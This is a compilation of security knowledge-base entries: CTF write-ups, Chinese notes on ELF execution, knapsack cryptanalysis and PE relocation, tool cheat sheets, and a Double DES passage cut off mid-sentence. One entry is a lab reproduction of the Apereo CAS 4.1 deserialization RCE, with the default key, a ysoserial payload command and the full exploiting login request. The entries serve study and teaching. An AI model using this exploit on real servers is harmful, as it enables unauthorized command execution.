└── New folder │   ├── New folder (10) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   │   └── New folder │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   └── New folder (8) │   ├── New folder (11) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   │   └── New folder │   │   ├── New folder (6) │   │   │   └── New folder │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   ├── New folder (12) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   │   └── New folder │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   │   └── New folder │   │   ├── New folder (7) │   │   └── New folder (8) │   ├── New folder (13) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   │   └── New folder │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   └── New folder (14) │   ├── New folder │   │   ├── New folder │   │   ├── New folder (2) │   │   │   └── New folder │   │   ├── New folder (3) │   │   │   └── New folder │   │   └── New folder (4) │   │   └── New folder │   └── New folder (2) │   ├── New folder (5) │   │   └── New folder │   ├── New folder (6) │   │   └── New folder │   ├── New folder (7) │   └── New folder (8) │   └── New folder └── New folder (2) ├── New folder ├── New folder (2) ├── New folder (3) ├── New folder (4) └── New folder (5) 210 directories, 0 files ``` That's a lot of folders. Let's try to zoom out a bit to get a better perspective: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_boils/New_folder] └─$ tree -Lv 3 . └── New folder ├── New folder │   ├── New folder │   ├── New folder (2) │   ├── New folder (3) │   ├── New folder (4) │   ├── New folder (5) │   ├── New folder (6) │   ├── New folder (7) │   ├── New folder (8) │   ├── New folder (9) │   ├── New folder (10) │   ├── New folder (11) │   ├── New folder (12) │   ├── New folder (13) │   └── New folder (14) └── New folder (2) ├── New folder ├── New folder (2) ├── New folder (3) ├── New folder (4) └── New folder (5) 22 directories, 0 files ``` So if we limit the depth to 3, we have two subfolders, the first one with 14 subfolders and the second with 5. Now let's zoom it a bit more, but isolate just one path out of the 14: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_boils/New_folder] └─$ tree -Lv 3 New\ folder/New\ folder/New\ folder New folder/New folder/New folder ├── New folder │   ├── New folder │   ├── New folder (2) │   │   └── New folder │   ├── New folder (3) │   └── New folder (4) └── New folder (2) ├── New folder (5) ├── New folder (6) ├── New folder (7) │   └── New folder └── New folder (8) 12 directories, 0 files ``` Compare it to the next path of the same level: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_boils/New_folder] └─$ tree -Lv 3 New\ folder/New\ folder/New\ folder\ \(2\) New folder/New folder/New folder (2) ├── New folder │   ├── New folder │   ├── New folder (2) │   │   └── New folder │   ├── New folder (3) │   └── New folder (4) │   └── New folder └── New folder (2) ├── New folder (5) ├── New folder (6) ├── New folder (7) │   └── New folder └── New folder (8) └── New folder 14 directories, 0 files ``` And the third: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_boils/New_folder] └─$ tree -Lv 3 New\ folder/New\ folder/New\ folder\ \(3\) New folder/New folder/New folder (3) ├── New folder │   ├── New folder │   ├── New folder (2) │   │   └── New folder │   ├── New folder (3) │   └── New folder (4) └── New folder (2) ├── New folder (5) │   └── New folder ├── New folder (6) │   └── New folder ├── New folder (7) └── New folder (8) └── New folder 14 directories, 0 files ``` We can see that the next level always has two subfolders, each with 4 subfolders itself. The deepest level of subfolders sometimes exists and sometimes doesn't. We can think of it as binary: ``` ├── New folder <-- Byte │   ├── New folder <-- Nibble │   │   ├── New folder <-- Bit (no subfolder, so bit value is 0) │   │   ├── New folder (2) <-- Bit (has subfolder, so bit value is 1) │   │   │   └── New folder │   │   ├── New folder (3) │   │   └── New folder (4) ``` Let's try this for the first path: ``` ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_boils/New_folder] └─$ tree -v New\ folder/New\ folder/New\ folder New folder/New folder/New folder ├── New folder │   ├── New folder <-- 0 │   ├── New folder (2) <-- 1 │   │   └── New folder │   ├── New folder (3) <-- 0 │   └── New folder (4) <-- 0 └── New folder (2) ├── New folder (5) <-- 0 ├── New folder (6) <-- 0 ├── New folder (7) <-- 1 │   └── New folder └── New folder (8) <-- 0 12 directories, 0 files ``` We got `0b01000010`, which is `B`! This matches the flag format. Following the same technique, we get: ``` 01000010 01010011 01001101 01000011 01001000 01111011 01000001 01010011 01001001 01001000 01001110 01010100 01010010 01111101 ``` We decode as binary to get the flag: `BSMCH{ASIHNTR}`
sec-knowleage
# MissingKipod Misc., 25 points ## Description > We were on to something with Dinary. ## Solution This is the follow-up challenge for [Dinary](Dinary.md). In Dinary, we received an image composed of black and white pixels. When interpreted as binary, we were able to extract the following text: > Hello World!, Yesterday my kipod went free and i can't find him! KAF{wh3r3_1s_my_k1p0d?} > > Maybe YOU can help me find my kipod? (his name is "Fibon") > > Hope you'll find him, he should go on a tour really soon. The hedgehog's name is "Fibon", short for "Fibonacci", so that must be related to the solution. First, we'll start by abstracting the access to the image bitmap to make traversal easier. We'll create a class that receives a logical index, extracts from the image the 8 pixels which correspond to that index, and convert them into a byte value. ![](images/missingkipod.png) The first 8 pixels are byte #0, then next 8 pixels are byte #1 and so on. We'll use the following class for the abstraction: ```python from PIL import Image class BitImage(object): BITS_PER_BYTE = 8 WHITE = (255, 255, 255) BLACK = (0, 0, 0) def __init__(self, path_to_img): image = Image.open(path_to_img) self.width, self.height = image.size self.pixels = image.load() self.length = int(self.width * self.height / self.BITS_PER_BYTE) def __get_pixel(self, x, y): p = self.pixels[y,x] if p == self.WHITE: return 1 elif p == self.BLACK: return 0 else: raise Exception(f"Unexpected value {p}") def __getitem__(self, index): if index > self.length: raise IndexError(f"Index {index} out of bounds") x, y = divmod(index * self.BITS_PER_BYTE, self.width) byte = 0 for i in range(self.BITS_PER_BYTE): byte |= (self.__get_pixel(x, y) << (self.BITS_PER_BYTE - 1 - i)) y += 1 if y == self.width: y = 0 x += 1 return byte def __len__(self): return self.length ``` Now, the plan is to iterate the image until we hit a 'K' (the first character of the flag format), and then start jumping according to Fibonacci indices in order to see if we can form a flag. If we can't, we move on to the next 'K' and try again. Here's the code that does that: ```python FLAG_PREFIX = "KAF{" def get_next_fib(): a = 0 b = 1 while True: yield a s = a + b a = b b = s def check_flag(potential_flag): for a, b in zip(potential_flag, FLAG_PREFIX): if a != b: raise Exception(f"'{potential_flag}' is not a valid flag") return potential_flag[-1] == '}' def main(): bitimg = BitImage("dinary.png") for i in range(len(bitimg)): try: current_char = chr(bitimg[i]) if current_char == FLAG_PREFIX[0]: index = i potential_flag = "" for offset in get_next_fib(): index += offset c = chr(bitimg[index]) potential_flag += c try: if check_flag(potential_flag): print(potential_flag) return except: break except: pass if __name__ == "__main__": main() ``` Output: ```console root@kali:/media/sf_CTFs/kaf/MissingKipod# python3 solve.py KAF{i_9u355_w3_f0und_h1m_f1na11y} ```
sec-knowleage
# 程序执行流程 **参考 Execution Angleboye@Bamboofox 。** ## 静态执行 这里给出程序静态执行的基本过程。 ## 动态执行 这里给出另外一张更加细节的图片。 ## 基本操作说明 ### sys_execve 该函数主要用于执行一个新的程序,即执行我们想要执行的程序,会检查相应的argv以及envp等参数。 ### do_execve 该函数打开目标映像文件,并从目标文件的开始处读入指定长度的(目前为128)字节来获取相应目标文件的基本信息。 ### search_binary_handler 该函数会搜索支持处理当前类型的二进制文件类型队列,以便于让各种可执行程序的处理程序进行相应的处理。 ### load_elf_binary 该函数的主要处理流程如下 - 检查并获取elf文件的头部信息。 - 如果目标文件采用动态链接,则使用.interp 节来确定loader的路径。 - 将program header 中记录的相应的段映射到内存中。program header中有以下重要信息 - 每一个段需要映射到的地址 - 每一个段相应的权限。 - 记录哪些节属于哪些段。 具体的映射如下 分情况处理 - 动态链接情况下,将sys_execve的返回地址改为loader(ld.so)的entry point。 - 静态链接情况下,将sys_execve的返回地址改为程序的入口点。 ### ld.so 该文件有以下功能 - 主要用于载入ELF文件中DT_NEED中记录的共享库。 - 初始化工作 - 初始化GOT表。 - 将symbol table合并到global symbol table。 ### _start _start函数会将以下项目交给libc_start_main - 环境变量起始地址 - .init - 启动main函数前的初始化工作 - fini - 程序结束前的收尾工作。
sec-knowleage
### 背包问题概述 首先,我们先来介绍一下背包问题,假定一个背包可以称重 W,现在有 n 个物品,其重量分别为 $a_1, a_2,...,a_n$ 我们想问一下装哪些物品可以恰好使得背包装满,并且每个物品只能被装一次。这其实就是在解这样的一个问题 $$ x_1a_1+x_2a_2+,...,+x_na_n=W $$ 其中所有的 $x_i$ 只能为 0 和 1。显然我们必须枚举所有的 n 个物品的组合才能解决这个问题,而复杂度也就是 $2^n$,这也就是背包加密的妙处所在。 在加密时,如果我们想要加密的明文为 x,那么我们可以将其表示为 n 位二进制数,然后分别乘上 $a_i$ 即可得到加密结果。 但是解密的时候,该怎么办呢?我们确实让其他人难以解密密文,但是我们自己也确实没有办法解密密文。 但是当 $a_i$ 是超递增的话,我们就有办法解了,所谓超递增是指序列满足如下条件 $$ a_i>\sum_{k=1}^{i-1}a_k $$ 即第 i 个数大于前面所有数的和。 为什么满足这样的条件就可以解密了呢?这是因为如果加密后的结果大于 $a_n$ 的话,其前面的系数为必须 1 的。反之,无论如何也无法使得等式成立。因此,我们可以立马得到对应的明文。 但是,这样又出现了一个问题,由于 $a_i$ 是公开的,如果攻击者截获了密文,那么它也就很容易去破解这样的密码。为了弥补这样的问题,就出现了 Merkle–Hellman 这样的加密算法,我们可以使用初始的背包集作为私钥,变换后的背包集作为公钥,再稍微改动加密过程,即可。 这里虽然说了超递增序列,但是却没有说是如何生成的。 ### Merkle–Hellman的公私钥生成 #### 生成私钥 私钥就是我们的初始的背包集,这里我们使用超递增序列,怎么生成呢?我们可以假设 $a_1=1$,那么 $a_2$ 大于 1 即可,类似的可以依次生成后面的值。 #### 生成公钥 在生成公钥的过程中主要使用了模乘的运算。 首先,我们生成模乘的模数 m,这里要确保 $$ m>\sum_{i=1}^{i=n}a_i $$ 其次,我们选择模乘的乘数 w,作为私钥并且确保 $$ gcd(w,m)=1 $$ 之后,我们便可以通过如下公式生成公钥 $$ b_i \equiv w a_i \bmod m $$ 并将这个新的背包集 $b_i$ 和 m 作为公钥。 ### Merkle–Hellman的加解密过程 #### 加密 假设我们要加密的明文为 v,其每一个比特位为 $v_i$,那么我们加密的结果为 $$ \sum_{i=1}^{i=n}b_iv_i \bmod m $$ #### 解密 对于解密方,首先可以求的 w 关于 m 的逆元 $w^{-1}$。 然后我们可以将得到的密文乘以 $w^{-1}$ 即可得到明文,这是因为 $$ \sum_{i=1}^{i=n}w^{-1}b_iv_i \bmod m=\sum_{i=1}^{i=n}a_iv_i \bmod m $$ 这里有 $$ b_i \equiv w a_i \bmod m $$ 对于每一块的加密的消息都是小于 m 的,所以求得结果自然也就是明文了。 ### Merkle–Hellman的破解 该加密体制在提出后两年后该体制即被破译,破译的基本思想是我们不一定要找出正确的乘数 w(即陷门信息),只需找出任意模数 `m′` 和乘数 `w′`,只要使用 `w′` 去乘公开的背包向量 B 时,能够产生超递增的背包向量即可。
sec-knowleage
### 基址重定位表概述 链接器在生成 PE 文件时,它假设执行时 PE 文件会被装载到默认的基地址处,于是将代码和数据的绝对地址都写入到 PE 文件中。如果装载时 PE 文件确实装载到了默认基地址处,就不需要进行重定位;但是,如果转载时 PE 文件装载到了别处,此时文件中的绝对地址就都失效了,因为装载基地址已经改变,代码和数据的实际地址也相应的改变了,这时就需要通过重定位修复绝对地址,使其都能指向正确的位置。 对于 EXE 文件,每个文件在执行时都会使用独立的虚拟地址空间,即总是能装载到在默认基地址处,也就不需要重定位信息;但是,同一个虚拟地址空间中可能存在多个 DLL,可能有的 DLL 就会面临默认基地址已经被占用的情况,所以 DLL 需要重定位信息。 ### 重定位结构体概述 在 PE 文件中,所有可能需要重定位的地址都被放在一个数组中,即基址重定位表。如果装载地址改变了,就会对数组中所有的地址进行修正。基址重定位表位于节区 .reloc 内,不过找到它的正确方式是通过 `DataDirectory[5]` 即 BASE RELOCATION TABLE 项。 基址重定位数据的组织方式采用按页分割的方法,即将不同页的重定位数据分开存放,每个页的重定位数据组成一个重定位数据块,所有的重定位块组成了重定位表。每个重定位块存放着 4KB 大小的重定位信息,每个重定位数据块的大小必须以 DWORD 对齐。重定位块以一个 `IMAGE_BASE_RELOCATION` 结构作为开始,其结构体如下: ```c typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; // 重定位页的 RVA DWORD SizeOfBlock; // 重定位块的大小 WORD TypeOffset; // 重定位条目的类型于偏移 } _IMAGE_BASE_RELOCATION; typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; ``` 接下来详细说明一下结构体中的成员: - **VirtualAddress 重定位页 RVA。以映像装载基址加上页 RVA 的和作为被加数,再加上重定位项对应的 offset 就能得到其在内存中实际的 VA。最后一个重定位块的尾部也会添加一个 virtualaddress 字段作为结束标志。** - **SizeOfBlock 基址重定位块的大小。包括 VirtualAddress,SizeOfBlock,以及后面 TypeOffset 的大小。** - **TypeOffset** 一个数组。数组中每个元素大小为 2 个字节,即 16 位。 - **type 高 4 位用于表示重定位的类型。** - **offset 低 12 位用于表示重定位数据位置相对于页 RVA 的偏移量。与 VirtualAddress 相加就是要修改的重定位数据的指针,再加上映像装载基址就是修改后的指针。** ### 重定位过程介绍 **利用重定位表定位需要修改的地址。**比如在 me.dll 中,重定位表的开头部分如下: ```text RVA Data Description 00005000 00001000 页 RVA // page RVA = 0x1000 00005004 00000118 重定位块大小 size 00005008 3013 Type|Offset // offset = 0x013 ... ``` 由 0x1000+0x013 算出待重定位的数据在文件偏移 0x1013 处,加上默认的 imagebase 就是 0x10001013。如下: ```x86asm .text:10001012 68 9C 20 00 10 push 1000209C ``` 即,文件偏移 0x1013 处的 1000209C 可能需要重定位。 计算待重定位修正后的值,然后将修正的值写到待重定位地址处: ``` 计算待重定位数据地址: (0x10001013 - DefaultImageBase) + ImageBase 即 (0x10001013 - 0x10000000) + 0x633C0000 => 0x633C1013 计算待重定位数据修正后的值: (0x1000209C - DefaultImageBase) + ImageBase 即 (0x1000209C - 0x10000000) + 0x633C0000 => 0x633C209C 最后: *0x633C1013 = 0x633C209C ```
sec-knowleage
--- title: Obsidian date: 2022-11-23 16:23:31.700412 background: bg-[#463793] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 17 keyboard shortcuts found in the Obsidian knowledge base app. --- Keyboard Shortcuts ------------------ ### Default Shortcuts Shortcut | Action ---|--- `Ctrl` `S` | Save a file in the editor `Ctrl` `N` | Create a new note `Ctrl` `P` | Open the command palette `Ctrl` `O` | Open the quick switcher `Ctrl` `Shift` `F` | Search in all files `Ctrl` `G` | Open the graph view `Ctrl` `Alt` `Left` | Navigate backwards `Ctrl` `Alt` `Right` | Navigate forwards `Ctrl` `F` | Search the current file `Ctrl` `E` | Toggle edit or preview mode `Ctrl` `,` | Open settings {.shortcuts} ### Editing Shortcut | Action ---|--- `Ctrl` `B` | Bold selected text `Ctrl` `I` | Italic selected text `Ctrl` `K` | Insert an external link `Ctrl` `]` | Indent `Ctrl` `[` | Unindent `Alt` `Enter` | Jump into the selected backlink {.shortcuts} Also see -------- - [Keyboard shortcuts for Obsidian](https://help.obsidian.md/How+to/Keyboard+shortcuts) _(help.obsidian.md)_
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: unknown.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: unknown.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH unknown 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME unknown \- 处理对使用不存在命令的尝试 .SH "总览 SYNOPSIS" \fBunknown \fIcmdName \fR?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 在一个脚本尝试调用一个不存在的命令的时候,Tcl 解释器将调用这个命令。\fBunknown\fR 的实现不是 Tcl 核心的一部分;但是在 Tcl 启动的时候,它是一个被缺省定义的库过程。你可以覆盖这个缺省的 \fBunknown\fR 来改变它的功能。 .PP 如果 Tcl 解释器遇到一个命令名而没有为它一个定义了的命令,则 Tcl 检查是否存在一个叫 \fBunknown \fR的命令。如果没有这个命令,则解释器返回一个错误。如果\fBunknown\fR 命令存在,则调用它并加上由被完全替换过的名字组成的参数和给最初的不存在的命令的参数。典型的,\fBunknown\fR 命令做在库目录中查找名字是 \fIcmdName \fR的一个命令过程,把缩写的命令名扩展成全长的名字,或自动的作为子进程执行未知命令等事情。在这些情况下(比如扩展缩写) \fBunknown\fR 将轻微的改变最初的命令,接着(重)执行它。\fBunknown\fR 命令的结果被用做最初的不存在的命令的结果。 .PP \fBunknown\fR 的缺省实现的行为如下。它首先调用 \fBauto_load\fR 库过程来装载命令,接着它用最初的参数执行最初的命令。如果自动装载失败则 \fBunknown\fR 调用 \fBauto_execok\fR 来看是否有一个叫 \fIcmd \fR的可执行文件。如果有,它调用 Tcl \fBexec\fR 命令并加上 \fIcmd\fR 和所有 \fIargs\fR 作为参数。如果 \fIcmd\fR 不可自动执行,\fBunknown\fR 检查是否在顶层调用这个命令并在任何脚本的外部。如果是这样,则 \fBunknown\fR 进行两个额外的步骤。首先它参看 \fIcmd\fR 是否是下列三种形式之一: \fB!!\fR, \fB!\fIevent\fR, 或 \fB^\fIold\fB^\fInew\fR?\fB^\fR?。如果是这样,则 \fBunknown\fR 用与 \fBcsh\fR 相同的方式对这些构造(construct)进行历史替换。最后,\fBunknown\fR 检查 \fIcmd\fR 是否是一个现存的 Tcl 命令的缩写。如果是,它扩展命令名并用最初的参数执行这个命令。如果上述努力都不能执行这个命令,\fBunknown\fR 返回一个错误。如果定义了全局变量 \fBauto_noload\fR ,则跳过自动装载步骤。如果定义了全局变量 \fBauto_noexec\fR,则跳过自动执行步骤。在通常的条件下,\fBunknown\fR 的返回值就是最终执行的命令的返回值。 .SH "参见 SEE ALSO" info(n), proc(n) .SH "关键字 KEYWORDS" error, non-existent command .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/01 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Apereo CAS 4.1 反序列化命令执行漏洞 Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。 参考链接: - https://apereo.github.io/2016/04/08/commonsvulndisc/ ## 环境搭建 执行如下命令启动一个Apereo CAS 4.1.5: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080/cas/login`即可查看到登录页面。 ## 漏洞复现 漏洞原理实际上是Webflow中使用了默认密钥`changeit`: ```java public class EncryptedTranscoder implements Transcoder { private CipherBean cipherBean; private boolean compression = true; public EncryptedTranscoder() throws IOException { BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); bufferedBlockCipherBean.setKeyAlias("aes128"); bufferedBlockCipherBean.setKeyPassword("changeit"); bufferedBlockCipherBean.setNonce(new RBGNonce()); this.setCipherBean(bufferedBlockCipherBean); } // ... ``` 我们使用[Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack)来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload: ``` java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success" ``` ![](1.png) 然后我们登录CAS并抓包,将Body中的`execution`值替换成上面生成的Payload发送: ``` POST /cas/login HTTP/1.1 Host: your-ip Content-Length: 2287 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://your-ip:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://your-ip:8080/cas/login Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734 Connection: close username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN ``` ![](2.png) 登录Apereo CAS,可见`touch /tmp/success`已成功执行: ![](3.png)
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Privilege Escalation Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions. |**Escalation Category**|**Bookmarks**| |:------------|:-----------| |Password Attacks|| |Privilege Escalation Media|| |Protocol Analysis|| |Spoofing Attacks|| # Links 1. https://en.wikipedia.org/wiki/Privilege_escalation
sec-knowleage
vgscan === 扫描并显示系统中的卷组 ## 补充说明 **vgscan命令** 查找系统中存在的LVM卷组,并显示找到的卷组列表。vgscan命令仅显示找到的卷组的名称和LVM元数据类型,要得到卷组的详细信息需要使用vgdisplay命令。 ### 语法 ```shell vgscan(选项) ``` ### 选项 ```shell -d:调试模式; --ignorerlockingfailure:忽略锁定失败的错误。 ``` ### 实例 使用vgscan命令扫描系统中所有的卷组。在命令行中输入下面的命令: ```shell [root@localhost ~]# vgscan #扫描并显示LVM卷组列表 ``` 输出信息如下: ```shell Found volume group "vg2000" using metadata type lvm2 Found volume group "vg1000" using metadata type lvm2 ``` 说明:本例中,vgscan指令找到了两个LVM2卷组"vg1000"和"vg2000"。
sec-knowleage
# Double DES Category: Crypto, 120 points ## Description > I wanted an encryption service that's more secure than regular DES, but not as slow as 3DES... The flag is not in standard format. ```python #!/usr/bin/python3 -u from Crypto.Cipher import DES import binascii import itertools import random import string def pad(msg): block_len = 8 over = len(msg) % block_len pad = block_len - over return (msg + " " * pad).encode() def generate_key(): return pad("".join(random.choice(string.digits) for _ in range(6))) FLAG = open("flag").read().rstrip() KEY1 = generate_key() KEY2 = generate_key() def get_input(): try: res = binascii.unhexlify(input("What data would you like to encrypt? ").rstrip()).decode() except: res = None return res def double_encrypt(m): msg = pad(m) cipher1 = DES.new(KEY1, DES.MODE_ECB) enc_msg = cipher1.encrypt(msg) cipher2 = DES.new(KEY2, DES.MODE_ECB) return binascii.hexlify(cipher2.encrypt(enc_msg)).decode() print("Here is the flag:") print(double_encrypt(FLAG)) while True: inputs = get_input() if inputs: print(double_encrypt(inputs)) else: print("Invalid input.") ``` ## Solution We get the encrypted output of the flag. We are also allowed to encrypt our own input, which means that we are able to inspect an encrypted output for which we know the plaintext. Since the encryption scheme just encrypts the data twice using two keys, it is vulnerable to a [Meet-in-the-middle](https://en.wikipedia.org/wiki/Meet-in-the-middle_attack) attack: > When trying to improve the security of a block cipher, a tempting idea is to encrypt the data several times using multiple keys. One might think this doubles or even n-tuples the security of the multiple-encryption scheme, depending on the number of times the data is encrypted, because an exhaustive search on all possible combination of keys (simple brute-force) would take 2n·k attempts if the data is encrypted with k-bit keys n times. > > The MITM is a generic attack which weakens the security benefits of using multiple encryptions by storing intermediate values from the encryptions or decryptions and using those to improve the time required to brute force the decryption keys. This makes a Meet-in-the-Middle attack 